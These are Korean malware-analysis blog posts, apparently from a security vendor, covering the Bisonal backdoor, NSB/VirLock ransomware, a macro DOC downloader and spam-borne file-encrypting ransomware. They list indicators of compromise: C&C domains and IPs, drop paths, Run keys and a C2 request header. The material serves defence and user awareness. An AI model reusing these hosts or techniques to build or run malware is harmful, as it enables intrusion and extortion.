2013년 처음 소개된 Bisonal 이라는 이름의 악성코드는 일본 기관을 공격대상으로 제작되었다. 악성코드 감염 방식은 이메일의 첨부파일 형태로 이루어지며, 첨부파일의 확장자는 실행파일(*.exe)형태이나 사용자에게 보여지는 아이콘 모양이 문서파일(doc, xls, pdf, ppt, hwp) 형태로 제작되어 클릭을 유도하는 특징을 갖는다. 2014년에도 국내에 감염사례가 확인되었으나 2015년부터 변종형태의 국내접수가 증가하고 있어 사용자 주의가 요구된다. 해당 악성코드는 내부에 암호화되어 저장된 C&C 주소를 통해 공격자와 통신하며, 명령에 따라 다양한 백도어 기능을 수행한다.

 

1. 접수현황

아래의 [그림-1]은 2015년 1월부터 현재까지 확인된 Bisonal 악성코드 리스트를 나타낸다. 실행파일 내부에는 실제 문서파일도 포함하고 있으며, 실행 시 사용자에게 문서의 내용이 보여진다. 이때, 사용자 모르게 내부에 포함된 2차 악성파일도 함께 설치되며, 공격자와의 통신을 통해 다양한 정보유출이 이루어진다. 

[그림-1] Bisonal 악성코드 리스트

 

2. 문서 아이콘으로 위장

대부분의 일반 사용자의 경우, 윈도우 폴더옵션(윈도우 탐색기 -> 도구 -> 폴더 옵션 -> 보기) 중 "알려진 파일 형식의 파일 확장명 숨기기" 항목이 체크되어 있어 Bisonal 악성파일이 실행파일(exe)이 아닌 문서파일(pdf, doc, xlsx) 형태로 보여진다.

아래의 [그림-2]는 윈도우 탐색기를 통해 일반 사용자에게 보여지는 Bisonal 악성코드의 형태를 나타내며, '응용 프로그램'으로 되어 있으나 파일이름은 문서파일 형태(xlsx, ppt, pdf)임을 알 수 있다.

[그림-2] "알려진 파일 형식의 파일 확장명 숨기기" 체크 On 상태

아래의 [그림-3]은 폴더옵션의 "알려진 파일 형식의 파일 확장명 숨기기" 항목을 체크하지 않은 상태(Off)에서 사용자에게 보여지는 파일이름을 나타낸다.

[그림-3] "알려진 파일 형식의 파일 확장명 숨기기" 체크 Off 상태

이처럼 Bisonal 악성코드 외에도 문서파일로 위장한 악성코드의 배포가 빈번하게 이루어짐으로 폴더옵션을 변경하여, 문서파일 확장자 형태로 배포된 실행파일을 실수로 클릭하는 것을 예방할 수 있다. 

 

3. 외형적 특징

내부에 포함된 악성파일은 주로 윈도우 %Temp% 폴더 혹은 %windows%Tasks 폴더에 생성되며, 아래의 이름들이 사용되고 있다.

- chrome.exe
- conhost.exe
- conime.exe
- dfea.exe
- spoolsv.exe
- wininit.exe
- tmproly.exe
- defa.exe
- tmproxy.exe
- taskmgr.exe

생성된 악성파일은 자동실행을 위해 아래의 레지스트리 'Run' 키에 자신을 등록한다.

- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
> tmp (값 이름)
> C:\WINDOWS\tasks\tmproxy.exe (값 데이터)

 

해당 악성코드 이름이 Bisonal 로 명명된 것은 내부의 "bisonal" 이라는 고유한 문자열 정보에 의해 이루어진 것으로 추정된다. 하지만, 최근 3월 발견된 샘플에서는 이 문자열 부분이 명시되지 않은 형태도 확인되었다. (그림의 아래 부분이 최근 접수된 파일)

[그림-4] 악성코드 내부의 "bisonal" 문자열 정보

단순히 "bisonal" 문자열이 제거된 것 외에 접속 시도하는 C&C 주소의 암호화 방식도 변경되었다. 기존 유형에서는 고정된 0x1F (1 바이트) 키 값으로 XOR 된 형태였으나, 3월 접수 파일에서는 별도의 복호화 알고리즘이 사용되어 기존방식보다 복합한 형태로 진화하였다. 위 [그림-4]의 "CCHXERJPIGGYFUAEEJFFHKIC" 부분이 새로운 방식으로 암호화된 C&C 주소이며, "CADEHLAA"는 복호화 시 "0320" 을 나타낸다. (문자열 암호화 방식 외에도 통신 시 사용하는 패턴도 변경 됨) 3월 25일자 접수된 파일에서는 이 부분이 "test"로 복호화 되는 형태도 확인되어 앞으로도 공격이 계속 시도될 것으로 판단된다.

아래의 [그림-5], [그림-6]는 1월과 3월 발견된 Bisonal 악성코드에서 C&C 주소 복호화하는 코드를 나타낸다. 

[그림-5] C&C 주소 복호화 함수 (1월)

 

 

[그림-6] C&C 주소 복호화 함수 (3월)

 

공격자와 HTTP 통신 시, 사용되는 메시지 내용은 아래와 같은 형태가 확인되었다.

Cookie: MC1=V=3&GUID=57ee8df6bd36496e8f36f103d8261984
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET4.0C; .NET4.0E)
Connection: Keep-Alive
Host: www.google.com
Accept: application/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg, application/xaml+xml, */*
Host: gmail.google.com

 

4. 주요 악성행위

Bisonal 악성코드는 공격자의 명령에 따라 다양한 백도어 기능과 시스템 파일 변조기능을 갖고있다.

 

(1) 백도어 기능

C&C 통신을 통해 수행하는 주요 악성행위들은 다음과 같다.

- 컴퓨터 이름, 사용자 계정, IP, OS 정보유출
- 실행중인 프로세스 및 모듈들에 대한 리스트 전송
- 각 드라이브 정보
- 파일목록 정보
- 특정 프로세스 강제종료
- CMD.EXE 실행을 통한 다양한 명령수행
- 특정 파일에 대한 쓰기
- 특정 파일에 대한 읽기
- 특정 파일에 대한 삭제
- 2차 악성사이트로 접속 및 통신(send/recv)

 

(2) 시스템 파일 변조기능

Bisonal 악성코드에서는 공통적으로 특정 윈도우 시스템 파일에 대한 변조를 시도하는 코드가 존재한다. 악성코드 내부에 "bisonal"이라는 문자열이 존재하는 유형에서는 "%system%browseui.dll" 파일이 변조대상이었으며, 2015년 3월 발견된 최신 파일에서는 "%system%browser.dll" 로 변경되었다. 해당 시스템 파일에 Write 하는 코드는 Bisonal 악성코드에 의해 생성(Drop)된 실행파일(exe)로 확인되었다.

[그림-7] browseui.dll 파일 변조하는 코드 (1월)

 

[그림-8] browser.dll 파일 변조하는 코드 (3월)

 

5. 배포에 이용된 문서 파일들

악성코드 배포에 사용된 문서파일들은 엑셀, 파워포인트, PDF 3가지 형태이며, 1차로 공격자에 의해 해당 문서파일들에 대한 유출이 이루어진 후, 문서파일 내부에 존재하는 개인 이메일 정보를 통해 2차로 특정인에게 타켓(Target)되어 백도어 기능의 Bisonal 악성코드가 제작/배포되는 것으로 판단된다.

 

6. C&C 주소

현재까지 확인한 Bisonal 악성코드 내부의 C&C 주소는 다음과 같다.

- domain2.ddns.net
- juair.ddns.net
- 192.200.122.43
- hosting.myvnc.com
- wwl1478.sytes.net
- 23.234.29.23
- just001.strangled.net
- fund.cmc.or.kr/UploadFile/fame/x/o0.asp
- www.fackbook.com/UploadFile/fame/x/o0.asp
- kairs.sytes.net


7. 결론

일본 기관을 공격대상으로 제작된 Bisonal 악성코드가 2014년에 처음 국내에 발견된 이후, 2015년 들어 접수가 증가하고 있다. 최근 접수되는 파일들의 경우, 기존에 알려진 통신 및 암호화 방식이 변경되어 대부분의 안티바이러스 백신에서 Bisonal 유형으로 인식하지 못하고 있다. 또한, 최근에는 기관이 아닌 특정인들을 대상으로 공격이 이루어지는 것으로 판단되며, 제작에 사용된 문서파일의 내용을 볼 때, 임의로 제작된 파일이 아닌 실제 사용 중인 문서가 유출되어 공격에 사용된 것으로 추정된다. 또한, 감염 시 백도어 기능에 의해 시스템의 중요 파일들이 2차로 유출 및 파괴될 수 있는 위험성이 있음으로 사용자의 주의가 필요하다. 

- Trojan/Win32.Backdoor (V3 진단명)

 

[참고 사이트]

[1] TROJAN.DROPPER.BISONAL
- https://camal.coseinc.com/publish/2013Bisonal.pdf

[2] APTs By The Dozen: Dissecting Advanced Attacks
- https://www.rsaconference.com/writable/presentations/file_upload/cle-t04_final_v1.pdf

 

 

신고
Creative Commons License
Creative Commons License
Posted by yhayoung

2014년 12월 발견된 랜섬웨어 악성코드 중, National Security Bureau(국가안보국: NSB)를 가장하여 사용자에게 돈을 요구하는 형태가 올해 1월 ASEC 블로그(http://asec.ahnlab.com/1020)에 소개되었다. 해당 랜섬웨어에 의해 감염된 파일들은 고유한 알고리즘에 의해 백업된 형태로 존재하며, 백신프로그램으로 치료가 가능한 형태라는 점이 특이한 부분이라 할 수 있다. 일부 백신업체에서는 이러한 특징을 바탕으로 해당 악성코드에 대한 진단명을 (VIRus + RansomLOCK = VIRLOCK)으로 명명한 것으로 추정된다.

악성코드 감염이 완료된 후, 사용자에게는 아래의 [그림-1]과 같은 "불법 소프트웨어가 탐지되어, 시스템 사용을 차단하였습니다."라는 메시지를 화면에 보여준다. 메시지 내용에는 차단된(Blocked) 파일의 개수를 명시하고 있으며, 돈을 지불하지 않을 경우 차단한 파일들을 모두 제거할 것이라는 경고가 존재한다. 복구를 위해 공격자가 요구한 지불 금액은 미화 250 달러이며, BitCoin 으로 지불할 수 있도록 한다. 지불이 완료되면 4~5일 내에 차단이 해제될 것으로 나와있다.

[그림-1] 악성코드 감염 후 사용자에게 보여지는 화면

해당 악성코드에 감염된 후에는 윈도우 탐색기 등 특정 윈도우를 강제 종료하는 기능으로 인해 사용자가 정상적인 컴퓨터 사용이 어려우며, 작업관리자를 통해 제한적으로 프로그램 실행이 가능하다. 악성코드 제작자는 컴퓨터 사용을 제한하기 위해 이러한 강제 종료기능을 수행하며, 메시지 화면 하단에는 돈을 지불하는 데 필요한 프로그램들(Internet Browser, Notepad)만 제한적으로 실행할 수 있도록 별도의 메뉴가 존재함을 알 수 있다. 아래의 [그림-2]는 해당 악성코드 내에서 특정 윈도우("Microsoft Windows")를 찾아 강제종료(WM_CLOSE = 0x10)하는 코드 부분을 나타낸다.

[그림-2] 특정 윈도우 강제종료

메시지 내용에서처럼 감염이 이루어지면, 해당 시스템의 이미지파일(*.gif, *.jpg, *.bmp, *.png), 문서파일(*.doc, *.ppt), 음악파일(*.wma) 뿐 아니라 실행파일(*.exe), 압축파일들(*.zip)도 정상적으로 사용이 불가능한 형태가 된다. 아래의 [그림-3]은 악성코드에 의해 이미지 파일들이 모두 실행파일(exe) 형태로 변경된 것을 확인할 수 있다.

[그림-3] 변경된 이미지파일들

위 [그림-3]의 윈도우 탐색기에서 사용자에게 보여지는 파일은 "공.bmp"이지만, 종류 항목이 "응용 프로그램"으로 되어있어 실행파일로 변경되었음을 알 수 있다. 명령창(CMD.EXE)을 통해 정확한 파일이름을 확인해보면, 변경된 파일명은 "공.bmp.exe" 임을 알 수 있다. 이렇게 보이는 이유는 악성코드에 의해 폴더 옵션이 변경되어 발생한 증상으로 아래의 [그림-4]에서처럼 설정 변경을 통해 원래 파일명을 확인할 수 있다. ("도구->폴더옵션->알려진 파일 형식의 파일 확장명 숨기기" 체크)

[그림-4] 폴더옵션 변경

이렇게 실행파일로 변경된 이미지파일은 실행 시, 정상적으로 이미지 내용이 사용자에게 보여짐을 알 수 있다. (%TEMP%폴더에 생성한 BAT 파일을 통해 원본 이미지 실행) 하지만, 이는 악성코드에 의해 일시적으로 원본파일이 만들어진 후, 실행되어 보여진 것으로 생성 및 실행과 동시에 바로 해당 파일을 삭제하는 코드가 존재하여 원본 파일을 복구할 수 없도록 한다. 이처럼 해당 악성파일에 감염 시, "원본파일명" + ".exe" 확장자를 붙인 형태로 파일명이 변경된다. 이렇게 변경된 실행파일들은 악성코드 자신이며, 다형성 엔진을 통해 감염 시 매번 다른 형태를 갖는다. 아래의 [그림-5]는 감염된 2개의 이미지 파일들에서 서로 다른 부분들을 나타낸다.

[그림-5] 다형성 형태의 악성코드

해당 악성코드는 감염 증상이 일반적인 랜섬웨어 형태와 유사하지만, 가장 큰 차이점은 돈을 지불하여 전달받은 복호화키를 통해 변경된 파일들을 복구하는 방식이 아닌, 백신 프로그램을 통해 복원이 가능하다는 점이다. 감염 전 원본파일들(gif, bmp, wma, exe, zip 등)은 악성코드에 의해 고유한 알고리즘으로 암호화되어 백업되어 있다. 복원을 위해서는 다형성 코드를 에뮬레이팅(Emulating) 하고 복호화하는 과정을 거쳐야 한다. 아래의 [그림-6]은 악성코드에 의해 감염된 파일(EXE 실행파일 형태)의 PE(Portable Executable) 구조를 나타낸다. 총 2개의 섹션헤더를 갖고 있으며, 속성(Characteristics) 값이 모두 0xC0040020 인 것이 특징이다.

[그림-6] 감염된 파일의 PE구조

감염 전 원본파일이 백업된 곳은 PE구조 상의 ".text" 섹션(Section)이며, 아래의 [그림-7]은 메인코드 시작(Entry Point)을 기준으로 백업된 원본파일을 복호화하는 과정을 나타낸다.

[그림-7] 백업된 원본파일 복원과정

다형성 형태의 코드는 EntryPoint 코드부분("Decoder (A)")이며, ".text" 섹션의 시작위치(0x401000) 부터 0x401250 까지 부분(0x250 크기)을 복호화하는 기능을 수행한다. 이후, 1차 디코딩 과정을 통해 생성된 "Decoder (B)" 부분으로 분기하며, 해당 코드에서는 0x401250 부터 0x401743 까지를 복호화하는 2차 디코딩 과정을 수행한다. 이렇게 두 번의 복호화 과정을 통해 원본파일 치료에 필요한 메타정보("원본파일 치료테이블")를 얻게 된다. 아래의 [그림-8]은 암호화된 상태의 원본파일이 복호화 과정을 통해 복원된 부분을 나타내며, 내부에는 원본파일 데이터 외에 감염 전 원본파일 이름정보("AhnRpt.exe")도 함께 존재함을 알 수 있다.

[그림-8] 복호화를 통해 추출한 원본파일

아래의 [그림-9]는 감염상태의 파일들과 치료 후 파일들을 나타내며, 치료 후에는 파일 유형 및 크기가 변경됨을 알 수 있다.

[그림-9] 치료 전/후 비교화면

해당 랜섬웨어에 감염된 파일들은 다형성 엔진에 의해 매번 다른 형태를 나타내며, 감염된 파일들 중 하나라도 진단을 놓칠 경우 재감염되는 현상이 발생하게 된다. 또한, 변경된 파일들을 단순히 악성코드로 판단하여 삭제할 경우, 원본파일을 복구하지 못하여 큰 피해를 볼 수 있다. 실제로 랜섬웨어를 통해 감염된 원본파일을 백신프로그램으로 복구하는 것이 불가능한 경우가 대부분이나, NSB 랜섬웨어처럼 치료가 가능한 형태도 확인되었으므로 이러한 경우에 한해서는 백신프로그램을 통해 치료하는 작업이 필요하다.

 

 - V3 진단명: Win32/Nabucur (엔진버전: 2015.02.16.02)

 

실제 V3 Lite 제품으로 감염된 파일들을 진단/치료 테스트한 동영상 정보는 다음과 같다.

 

[공격자 C&C 주소]

악성코드 내부에 총  3곳의 C&C 주소가 존재하며, 순차적으로 접속을 시도한다. 변형마다 IP 주소는 동일하며, 포트정보만 '666' 혹은 '9999' 2가지 형태가 확인되었다.

(1) 200.xx.164.69:666 (Bolivia)
(2) 200.xxx.204.12:666 (Bolivia)
(3) 190.xxx.45.170:666 (Bolivia)

 

[주요 백신업체 진단현황]

- Virus:Win32/Nabucur.A(Microsoft)
- Virus.Win32.PolyRansom.a(Kaspersky)
- W32.Ransomlock.AO!inf(Symantec)
- Trojan.Obfus.3.Gen(BitDefender)
- PE_VIRLOCK.F(Trend Micro)
- W32/VirRansom(McAfee)
- TR/Crypt.XPACK.Gen7(AntiVir)
- Win32:VirLock(Avast)
- W32/VirRnsm-A(Sophos)
- Win32/Cryptor(AVG)

 

[참고사이트]

- http://malwarefixes.com/remove-national-security-bureau-virus-nsb-ransomware/
- http://asec.ahnlab.com/1020

신고
Creative Commons License
Creative Commons License
Posted by yhayoung

순간의 호기심이 매크로를 On!

 

인간의 호기심은 끝이 없고 같은 실수를 반복하게 된다. 불분명한 발신으로부터, 혹은 익숙하지만 살짝 의심스러운 발신자에게서 온 메일의 열람은 금기시 되어야 한다는 것은 공공연한 사실이다. 더불어 의심스러운 메일에 첨부된 파일의 다운 및 실행은 절대 해선 안 되는, 21세기를 살아가는 자들의 필수적인 IT 보안 상식이다.

하지만 첨부된 파일이 호기심을 자극하는, 매우 매력적인 제목의 문서파일이라면 어떨까?

수 없이 전해 듣고 교육받고 심지어 일전에 악성코드에 큰 피해를 본 사람이라도, 매뉴얼처럼 숙지한 철옹성과 같던 보안 상식은 모래성 마냥 한순간에 무너져 내릴 것이며, 인간의 무한한 호기심과 궁금증을 풀고자 하는 끝없는 욕망에 이끌려 자의적으로 마우스 포인터는 첨부 파일을 향할 것이다.

 

일반인들에게 PE파일이란 생소한 단어이다. PE 파일, 즉 실행 파일이란 개념보다 확장자가 'EXE'인 파일이 이들에게 더 친숙할 것이며, 정보의 바닷속에 무수히 많은 사이트, 블로그, 게시판 또는 메일 내 첨부된 다수의 실행 파일들이 안전하지 않다는 것은 남녀노소 구분 없이 인지하고 있다. 하지만 대부분의 인터넷 사용자들은 문서 파일(PDF, DOC, HWP 등등)에 대한 보안 의식이 매우 약하다. 문서 파일이 담고 있는 내용을 알고자 하는 강한 욕구와 똑같은 파일명이라도 .EXE 파일보다 문서 파일 실행에 넓은 아량을 베풀게 된다.

 

흔히 APT 공격이라 불리는 지능화된 악성코드의 표적공격에 자주 사용되는 것이 바로 문서 파일이다. 이 글을 읽는 독자 중엔 본인은 해당되지 않는 얘기라며 해당 글을 SKIP 하려 한다면 당장 STOP 해야 한다. 사회공학적 기법을 이용해 그 어떤 누구라도 문서 포맷의 악성코드 공격에 당할 수 있다는 사실을 반드시 인지하고 숙지하고 명심해야 한다.

 

[그림 1] DOC 파일

 

[그림 1]은 최근 접수된 악의적인 매크로 기능이 추가된 DOC 파일이다. 매크로는 단순 문서 작업의 효율을 높여주는 매우 유용한 기능이지만, 사용자 몰래 악성 코드를 심을 수 있는 위험한 기능이기도 하다.

 

[그림 2] 매크로 기능 On 유도

 

해당 문서를 실행하면 [그림 2]와 같이 문서 상단 바에 매크로 기능 OFF 알림 메시지가 발생하며, 매크로가 자동 동작하지 않도록 차단 되고 있다. (참고: 매크로 기능은 보안상의 문제로 기본 설정 값이 OFF)

사용자 입장에서 매크로 기능이 차단됐다는 보안 경고 알림 메시지를 본다면, 뒤도 돌아보지 않고 해당 문서 파일을 닫을 것이다.

하지만 공격자는 매우 지능적으로 "본 문서는 보안상 모자이크 처리가 됐으며, 문서 상단의 옵션을 클릭하여 활성화 바람"이라는 본문 내용과 함께 이미지를 흐리게 처리시켰다. 높은 보안 의식을 가진 사용자라 할지라도 문서의 내용이 본인이 알고자 하는 정보가 굳이 아니더라도 내면에 잠자고 있는 호기심이 자극받을 것이다.

 

[그림 3] DOC 파일에 삽입 된 매크로 코드

 

해당 문서의 매크로 기능을 활성화 하게 되면 'C:\Windows\Temp' 경로에 파일 'adobeacd-update.bat'와 'adobeacd-updatexp.vbs'를 생성하며, batch 파일에 의해 파일 'adobeacd-updatexp.vbs'가 실행 된 후, 자가 삭제 된다.

 

[그림 4] 파일 'adobeacd-updatexp.vbs'의 정보

 

실행된 파일 'adobeacd-updatexp.vbs' 에 의해 C&C서버로부터 파일 'x.exe'이 추가로 다운 및 실행된다. 이후 파일 'x.exe'는 'C:\Documents and Settings\[사용자계정]\Local Settings\Temp\msgss.exe' 경로로 자가 복제 한다.

또한 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Outlook' 레지스트리 키값을 등록하여 시스템 시작 시 자동 실행된다.

 

[그림 5] 사용자가 입력한 키 값을 C&C서버로 전송

 

이 후 파일 "x.exe"은 사용중인 프로그램 정보와 사용자가 입력하는 키 값을 일정 시간마다 C&C서버(1**.2*3.2**.2*9)로 전송한다.

위 악성 코드의 경우 매크로 기능을 이용했지만, HWP 취약점을 이용한 공격 또한 끊임없이 지속되고 있다. 2014년 12월, 한글 문서파일의 기 알려진 취약점을 이용한 MBR 파괴 기능을 갖는 악성 코드가 대표적인 사례이다.

점점 더 지능화되는 악성 코드의 공격으로부터 피해를 최소화하기 위해선 글로만 이해하는 보안이 아닌, 행동으로 실천하는 보안이 반드시 필요하다. 이 글을 읽는 독자라면 앞으로 발신이 불분명한 메일 내 첨부 파일을 단순 호기심에 실행시키는 실수를 하지 않길 바란다. 정보화시대에 사는 우리는, 무형의 정보도 매우 중요한 가치라는 걸 알아야 한다.

 

V3 제품에서는 아래와 같이 진단 가능하다.

 

<V3 제품군의 진단명>

Dropper/Win32.Agent (2015.01.20.04)

DOC/Downloader (2014.12.27.00)


 

저작자 표시 비영리 동일 조건 변경 허락
신고
Creative Commons License
Creative Commons License
Posted by DH, L@@

   

랜섬웨어 악성코드는 주로 문서나 컴퓨터 시스템의 정상적인 사용을 방해하고, 대가로 금전을 요구하는 방식으로 이루어져 있다.

최근 스팸메일의 첨부파일을 통해 랜섬웨어가 유포되고 있어 사용자의 각별한 주의가 필요하다.

악성코드를 유포하는 스팸메일 중 하나를 확인해보겠다.

 

[그림 1] 메일 원본

 

첨부파일은 압축되어 있으며, 압축을 풀면 아래 파일을 확인할 수 있다. 파일의 확장자는 일반적인 실행파일의 확장자인 'EXE'가 아니다. 화면보호기 파일의 확장자인 'SCR'이다. 하지만 대부분 사용자는 윈도우 탐색기 옵션 중 '[폴더 옵션] - [알려진 파일 형식의 파일 확장명 숨기기]'를 사용하기 때문에, 파일명인 'hunkered'만 표기된다.

이 때문에 사용자는 별다른 의심 없이 파일을 실행하게 된다.

 

[그림 2] 확장자가 보이지 않는 상태(좌) / 확장자가 보이는 상태(우)

 

파일 'hunkered.scr'을 실행하면, 문서파일이 사용자에게 보여진다.

 

[그림 3] 문서의 내용

 

실행된 파일은 단순한 문서파일이다. 그러나 파일 실행과 동시에 또 다른 악성파일을 생성하며, 외부 네트워크에 연결을 시도한다.

 

[생성되는 파일]

C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\hunkered.rtf    

C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\12200593.exe (랜덤 파일명)

C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\qgkhcub.exe

[표 1] 생성되는 파일

 

외부 네트워크 연결]

157.56.96.56:80 → windowsupdate.microsoft.com

2**.1**.3*.1**:443

1**.9*.*.7:443

2**.1**.3*.1*:443[

2**.1**.3*.3:443

46.19.37.108:80 → ip.telize.com

1**.*5.3*.5:443

1**.15*.1**.7*:443

7*.*3.*7.*4:9090

1*.*9.*6.*2:443

1*.*1.*6.*6:443

1*.1*.1*.*2:443

8*.*9.**.*8:443

[표 2] 외부 네트워크 연결

 

네트워크 연결을 시도하는 IP 중 일부는 Tor 네트워크로 접속을 시도한다. 이는 Tor 네트워크 특성 상 추적이 힘든 점을 이용한 것으로, 공격자가 사용자의 정보 수집 시 이용하는 것으로 추정된다.

 

생성하는 파일 '12200593.exe (랜덤 파일명)'과 'qgkhcub.ex'e'는 같은 파일이며, 파일 'qgkhcub.exe'이 시스템에 존재하는 파일을 암호화한다.

 

파일 'qgkhcub.exe'이 실행되면 다음과 같이 사용자에게 파일이 암호화된 사실과 복호화하는 방법을 바탕화면 및 경고 팝업창을 통해 알린다.

 

[그림 4] 변경된 바탕화면

 

[그림 5] 사용자에게 띄워주는 경고 팝업창

 

악성코드에 의해 아래 확장자 파일을 모두 암호화 시키며, 암호화하는 파일 확장자를 살펴보면 아래와 같다.

 

[암호화 대상 파일 확장자]

.AI, .C, .CDR, .CER, .CRT, .DBF, .DER, .DOC, .DOCM, .DOCX, .EPS, .JPEG, .JPG, .JS, .MDB, .P12, .PAS,
.PDF, .PFX, .PHP, .PL, .PPT, .PPTX, .PST, .PY, .RTF, .SQL, .TXT, .XLK, .XLS, .XLSM, .XLSX, etc

[표 3] 암호화 대상 파일 확장자

 

암호화 대상 파일 확장자에는 '공인 인증서 관련 파일, 그림 파일, 문서 파일, 아웃룩 데이터 백업 파일' 등 사용자들이 자주 사용하는 것들이 주를 이루고 있다. 이 때문에 랜섬웨어에 감염된 사용자들은 많은 불편을 겪는다.

또한, 이전의 랜섬웨어와 동일하게 사용자에게 테스트로 암호화된 파일을 복호화하는 기능을 제공하며, 이를 통해 사용자에게 결제를 유도한다.

 

[그림 6] 사용자의 결제를 유도하는 메시지

 

암호화되는 파일들은 아래 [그림 7]와 같이 확장자 뒤에 랜덤문자열로 구성된 문자가 추가된다.

 

[그림 7] 암호화되어 확장자가 변경된 파일

 

이후 파일 복호화를 위해 진행하면 다음과 같이 비트코인 결제를 안내한다.

 

[그림 8] 비트코인 결제방법 안내

 

하지만, 여기서 알아야 할 것은 결제를 하더라도 파일 복구가 될 가능성은 적다는 것이다.

 

그렇다면, 랜섬웨어에 감염되지 않으려면 어떻게 해야 하는 걸까?

 

랜섬웨어는 보통 메일을 통해 유포되는 경우가 많다. 그러므로 출처가 확인되지 않은 메일의 첨부 파일의 실행은 하지 말아야 한다. 또한, 메일의 내용을 읽어서 스팸 메일 여부에도 주의를 기울여야 한다.

일반 사용자들은 Windows 폴더 옵션 항목 중 "알려진 파일 형식의 파일 확장명 숨기기" 기능을 사용하고 있는 경우가 많다. 이 기능을 사용하게 되면 문서 파일과 일반적인 프로그램 파일로 위장한 실행 파일 및 화면보호기 파일을 한눈에 구별하기 힘들다. 해당 기능을 해제하면, 확장자를 혼동하여 악성코드를 실행하는 사례가 줄어들게 될 것이다.

랜섬웨어의 경우 한번 암호화가 되었을 때는 안티 바이러스 프로그램에서는 복구가 불가능하므로 주기적으로 문서 및 중요 자료들을 별도의 저장장치에 백업해두는 습관이 필요하다. 자료들을 백업해두면 악성코드에 의해 자료가 손상되거나 삭제가 된 경우 복구를 할 수 있기 때문이다.

 

V3 제품에서는 아래와 같이 진단 가능하다.

 

<V3 제품군의 진단명>

Trojan/Win32.Agent (2015.01.20.04)

Trojan/Win32.CTBLocker (2015.01.21.04)

Trojan/Win32.Ransom (2015.01.20.04)


저작자 표시 비영리 동일 조건 변경 허락
신고
Creative Commons License
Creative Commons License
Posted by DH, L@@

Your computer was automatically blocked

 

작년부터 악명을 떨친 랜섬웨어는 크립토락커(CryptoLocker)와 크립토월(CryptoWall)이 있다. 이러한 랜섬웨어는 시스템 내부의 특정 파일을 암호화한 후 암호화 해제를 빌미로 돈을 요구한다. 하지만 최근 사용자에게 몸값을 요구하는 새로운 악성코드가 발견되었다.

 

이 악성코드는 국가안보국(National security bureau, NSB)으로 가장하여 사용자에게 경고 메시지 표기 및 시스템 사용을 방해한다. 이를 해결하기 위해서 미화 250달러를 입금하도록 유도하고 있다.

 

해당 악성코드에 감염되면, 아래 [그림 1]와 같은 화면이 나타나면서 "불법 소프트웨어가 탐지되어, 시스템을 사용을 차단하였습니다."는 메시지를 화면에 보여준다. 또한, 다른 프로그램의 실행을 방해하고, 메시지를 강제로 종료하여도 자동으로 다시 실행되므로 사용자는 시스템을 정상적으로 사용할 수 없다.

 

[그림 1] 감염 시 시스템에 표기되는 메시지

 

 

악성코드에 감염되면 아래 경로에 악성파일을 숨김속성으로 생성한다. 생성된 악성파일은 시작프로그램에 등록되어 시스템이 시작할 때 자동실행된다.

 

C:\Documents and settings\All Users\CEloogwA\

C:\Documents and settings\Administrator\AlAcUMcc\

[표 1] 악성파일 생성 경로

 

또한, 악성파일의 은폐를 목적으로 다음과 같이 레지스트리 값을 수정한다.

 

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\EnableLUA

사용자 계정 컨트롤 설정을 사용하지 않도록 변경

 

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt

알려진 파일의 확장자가 보이지 않게 변경

 

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden

탐색기 폴더 옵션의 "숨김폴더 표시 안함"으로 변경

[표 2] 수정된 레지스트리 경로

 

이후, 'C:\Documents and Settings' 경로 내부에 존재하는 파일(ppt, jpg, doc, png, exe, wav 등)을 감염시킨다. 감염 방식은, 시스템의 루트(C:\) 경로에 정상파일의 바이너리를 복사한 후 악성코드에 삽입하는 방법으로 진행된다.

 

감염된 파일들은 모두 실행파일(exe) 형태로 변경되며, 감염 시 정상파일에서 아이콘을 추출해 변조된 파일에 삽입시키기 때문에 외관상의 모습으로는 감염 여부를 구분하기 어렵다.

 

[그림 2] 감염 전 파일(좌) / 감염 후 파일(우)

 

위 그림은 악성코드 감염 전과 감염 후의 파일의 비교를 위한 그림이다. 보다 쉬운 이해를 위해 그림에서는 감염된 파일의 확장자를 보이게 설정하였다. 그러나 실제로 악성코드에 감염될 경우 확장자 '.exe'는 보이지 않는다.

 

 

[그림 3] 감염된 파일의 프로세스 트리

 

이처럼 감염된 파일은 파일명과 아이콘이 정상파일과 동일하게 위장하고 있다. 하지만, 악성파일의 실행이 선행되도록 조작되어있다. 그렇기 때문에 실행 시 위 [그림 3]와 같은 비정상적인 프로세스 트리를 가지게 된다.

 

[그림 4] 악성코드 내에 정상파일 실행 부분

 

감염된 파일을 실행하면, 악성코드를 생성/실행 하고 정상 파일을 temp 경로에 생성한 후 악성코드의 실행 시 인자 값으로 정상파일의 경로를 줌으로써, 악성코드의 자식프로세스로 실행되도록 만든다.

 

해당 악성코드는 국가안보국으로 가장하여 시스템의 가용성을 인질로 돈을 요구하고 있다. 파일들이 감염되는 과정에서 파일을 암호화하지는 않지만, 정상파일의 바이너리가 손상될 경우 정상 파일을 복구할 수 없을 수도 있기 때문에 사용자의 각별한 주의가 필요하다.

 

V3 제품에서는 아래와 같이 진단이 가능하다.

 

<V3 제품군의 진단명>

 

Trojan/Win32.Agent (2014.12.16.03)

Trojan/Win32.Agent (2014.12.16.03)

Trojan/Win32.Dynamer (2014.12.12.02)

저작자 표시 비영리 동일 조건 변경 허락
신고
Creative Commons License
Creative Commons License
Posted by DH, L@@

최근 접수되는 취약점 한글 문서파일에서 기존에 존재했던 백도어 기능외에 주요 확장자 파일들에 대한 파괴 및 MBR 파괴기능을 갖는 파일이 접수되어 주의가 필요하다.

2014년 12월 9일 최초 접수된 취약점 한글 문서파일들은 모두 기 알려진 취약점을 이용하였으며, 최신 패치적용제품에서는 동작하지 않는다. 총 9개의 문서파일이 접수되었으며, 모두 동일한 악성파일을 내부에 포함하고 있다.

 

1. 생성하는 파일 및 서비스

%system% 폴더에 생성된 DLL을 서비스로 등록/구동 시, 사용하는 정보는 악성코드 내부에 목록으로 가지고 있으며, 아래의 항목 중 하나를 랜덤하게 선택한다.

 

[서비스 이름]

- BitLocker Drive Decryption Service
